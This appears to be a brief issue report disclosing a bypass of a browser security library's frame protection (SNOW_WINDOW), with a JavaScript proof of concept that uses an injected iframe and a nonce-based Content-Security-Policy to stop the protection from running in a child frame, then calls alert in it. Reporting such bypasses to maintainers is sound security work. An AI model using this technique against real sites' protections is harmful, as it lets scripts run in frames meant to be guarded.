Bypass using CSP #94
Description
var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML = `
<iframe
srcdoc="
<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-pwnd' ;">
<iframe src="javascript:haha">
</iframe>
<script nonce="pwnd">frames[0].alert(1);</script>">
</iframe>`
Similar to #90 and #92, using CSP to prevent SNOW_WINDOW from running :)